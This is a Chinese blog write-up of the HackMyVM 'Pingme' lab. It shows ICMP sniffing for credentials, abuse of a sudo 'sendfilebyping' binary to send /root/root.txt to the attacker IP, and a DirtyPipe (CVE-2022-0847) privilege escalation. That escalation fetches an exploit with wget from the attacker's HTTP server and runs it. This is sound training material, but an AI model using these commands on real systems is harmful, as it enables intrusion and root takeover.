渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme

image-20220222190922934

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Pingme
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r 

靶场: HackMyVm.eu

靶机名称: Pingme

难度: 中等

发布时间: 2022年3月9日

提示信息:

目标: user.txt和root.txt

实验环境

攻击机:VMware kali 10.0.0.3

靶机:Vbox linux IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 10.0.0.3/24

image-20220309220313665

扫描到主机地址为10.0.0.106

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.106 -oN nmap.log

image-20220309220601229

扫描到22端口和80端口开放,先访问80端口看看

Web渗透

http://10.0.0.106

image-20220309220955183

image-20220311190556807

打开后发现首页显示的是Ping命令的结果,网站获取了访问者的ip,并在后台执行了ping命令。源码中提示了icmp包传输并让我们去其他地方看看,这里除了80端口就只有22端口,也看不到其他什么内容,按照提示看看icmp包里传输了什么

1。攻击机上开启tcpdump抓icmp包并保存

sudo tcpdump -i eth1 icmp -w icmp

image-20220311192349867

2。访问页面,让后台执行Ping命令

image-20220311192244028

3。执行完成后在攻击机上手动Ctrl+c结果抓包,

image-20220311191826740

4。使用wireshark加载包查看传输内容

wireshark icmp

image-20220311192756562

image-20220311192826796

可以看到两次传输的包内有username和pasword内容,查看每个包的内容(只看request包即可)

image-20220311195154443

image-20220311202125722

拿到用户名pinger和密码(密码在另外2个包内),现在去登录SSH

ssh pinger@10.0.0.106

image-20220311195544483

登录成功,搜集下主机中的敏感信息

ls
cat user.txt

image-20220311200304876

拿到user.txt,继续找

sudo -l

image-20220311195650157

发现可以使用root身份去执行sendfilebyping命令,先看看这个程序是做什么的

/usr/local/sbin/sendfilebyping

image-20220311200031990

这个程序是使用ping命令来传输文件,我们试试

1。攻击机打开tcpdump抓icmp包并输出为file.pacpng

sudo tcpdump -i eth1 icmp -w file.pacpng

image-20220311202957031

2。靶机上执行sendfilebyping命令,这里试着猜测/root/目录下有一个root.txt文件

sudo /usr/local/sbin/sendfilebyping 10.0.0.3 /root/root.txt

image-20220311203208802

一共发了21个包,现在手动关闭攻击机上的tcpdump,再使用wireshark打开file.pacpng文件

Ctrl+c
wireshark file.pacpng

image-20220311203400853

image-20220311204023215

image-20220311204112386

image-20220311204136825

image-20220311204157646

每个包中包含了flag的一个字符,将这些包内的字符拼接到一起就是完整的root.txt了。

CVE-2022-0847-DirtyPipe提权

在我收集主机信息时发现内核版本存在CVE-2022-0847-DirtyPipe漏洞,尝试复现这个漏洞

下载exp

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git

image-20220312011003777

下载完成开始编译

cd CVE-2022-0847-DirtyPipe-Exploit
ls
chmdo +x compile.sh
./compile.sh
ls

image-20220312011557788

编译完成,现在将他上传到靶机中执行。

1。攻击机上开启HTTP服务

python3 -m http.server

image-20220312012157929

2。靶机下载exp添加可执行权限并执行

cd /tmp
wget http://10.0.0.3:8000/exploit
chmod +x exploit
./exploit

image-20220312012630423

提示找不到GLIBC_2.33,原因是攻击机上的GLIBC是高版本的,对靶机上的版本检查只有2.30这个版本,随后我从其他低版本的机器上编译了exp并上传到了靶机上。

./exp

image-20220312013503885

image-20220312013709799

根据提示,exp修改了passwd文件中的root密码,修改后的密码为aaron,验证一下

su root

image-20220312013742401

提权成功,来看下flag

cd /root
ls
cat root.txt

image-20220312013830125

拿到root.txt,游戏结束。
在这里插入图片描述
公众号二维码

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值